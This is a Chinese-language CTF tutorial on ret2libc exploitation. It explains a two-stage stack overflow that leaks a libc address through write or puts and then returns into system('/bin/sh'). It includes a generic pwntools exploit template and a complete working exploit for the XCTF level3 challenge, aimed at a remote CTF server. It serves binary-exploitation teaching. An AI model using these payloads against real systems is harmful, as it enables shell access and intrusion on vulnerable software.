深入理解ret2libc

0x00 前言

针对ret2libc内一类需要计算地址的题型。

这类题型一般开启了PIE,binary内部有一些output函数或者binary内部没有system('/bin/sh')的地址,但给出了libc.so。

0x01 概念

ret2libc 劫持binary执行system('/bin/sh')

0x02 劫持过程

一般有一个溢出点,要进行两次劫持。

第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')

第一次劫持需要构造两个条件:

  • 控制binary,为第二次劫持布局。
  • 寻找output函数和待泄露函数。

0x03 布局

在第一次劫持中,如何控制binary,为第二次劫持布局?

首先,为完成第一次劫持,需要在溢出偏移空间内填满垃圾数据,直到覆盖ebp位置。

为泄露出某个函数地址,需要output函数,也即eip位置应该为output函数的plt地址。

binary运行到此处时,会进入output函数的栈帧,在进入栈帧前,根据栈帧平衡原则,需要将“老”ebp压入栈帧,

然后压入函数参数,再调用函数,也即这个“老”ebp位置应为binary在最初运行时的一个函数地址

一般是main函数,也可为其他的。目的是在泄露完函数地址返回时,“老”ebp会被弹出来,作为下一跳eip执行,从而使得binary再次可以被劫持。

这个output函数的特征必须为可以输出地址数据的函数。

函数参数位置应该为待泄露函数的got地址数据。

1
payload1 = '\x90'*offset+[output_addr]+[first_addr]+[link_addr]

0x04 寻找

如何寻找output函数和待泄露函数?

对于output函数,特征是可以输入地址数据的函数,一般是putswrite

需要注意一点是,output函数的参数。

puts函数的参数,就一个。而write函数,其为write(1,addr,4),具有3个参数,后面4是泄露的字节(32位为4,64位为8)。

对于待泄露函数,一般没什么规定,只要binary中存在的就好。不过为比赛好记,建议泄露__libc_start_main。即__libc_start_main的got地址数据。

0x05 计算

在泄露出__libc_start_main的got地址数据后,如何计算出libc内的system地址和/bin/sh地址?

libc中每个函数地址与libc的基地址和实际binary中的真实函数地址,具有以下关系:

1
libc_base = func_addr - func_libc_addr

函数真实地址func_addr已经泄露出来,func_libc_addr也可通过查询打到。

ps:func_libc_addr的确定

如给出libc.so,直接查询。如没有,可以通过func_addr地址的最低12位来确定libc.so的版本进而查询函数地址。

由此,可以计算出system('/bin/sh')的实际地址:

1
2
3
libc_base = link_addr - link_libc_addr
system_addr = libc_base+system_libc_addr
binsh_addr = libc_base+binsh_addr

0x06 劫持

在准备好system('/bin/sh')的实际地址后,第二次劫持直接劫持binary执行system('/bin/sh')

1
payload2 = '\x90'*offset+[system_addr]+[0xdeadbeef]+[binsh_addr]

0x07 模板

exp模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
offset = offset_data
p = process('./binary')
elf = ELF('./binary')
libc = ELF('libc.so.version')
first_addr = elf.symbols['first']
output_plt_addr = elf.plt['output']
link_got_addr = elf.got['__libc_start_main']
payload1 = '\x90'*offset+[output_plt_addr]+[first_addr]+[link_got_addr]
p.sendline(payload1)
link_addr = u32(p.recv(4)) #u64(p.recv(8))
link_libc_addr = libc.symbols['__libc_start_main']
system_libc_addr = libc.symbols['system']
binsh_libc_addr = libc.search('/bin/sh').next()
libc_base = link_addr - link_libc_addr
system_addr = libc_base+system_libc_addr
binsh_addr = libc_base+binsh_libc_addr
payload2 = '\x90'*offset+[system_addr]+[0xdeadbeef]+[binsh_addr]
p.sendline(payload2)
p.interactive()

0x08 例子

以XCTF-level3为例

checkup:

image-20191219011006489

image-20191219011127917

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
offset = 0x88+4
p = remote('111.198.29.45',36318)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
first_addr = elf.symbols['vulnerable_function']
output_plt_addr = elf.plt['write']
link_got_addr = elf.got['write']
payload1 = flat(['\x90'*offset,output_plt_addr,first_addr,1,link_got_addr,4])
p.sendlineafter("Input:\n",payload1)
link_addr = u32(p.recv(4))
link_libc_addr = libc.symbols['write']
system_libc_addr = libc.symbols['system']
binsh_libc_addr = libc.search('/bin/sh').next()
libc_base = link_addr - link_libc_addr
system_addr = libc_base+system_libc_addr
binsh_addr = libc_base+binsh_libc_addr
payload2 = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr])
p.sendline(payload2)
p.interactive()

image-20191219010627434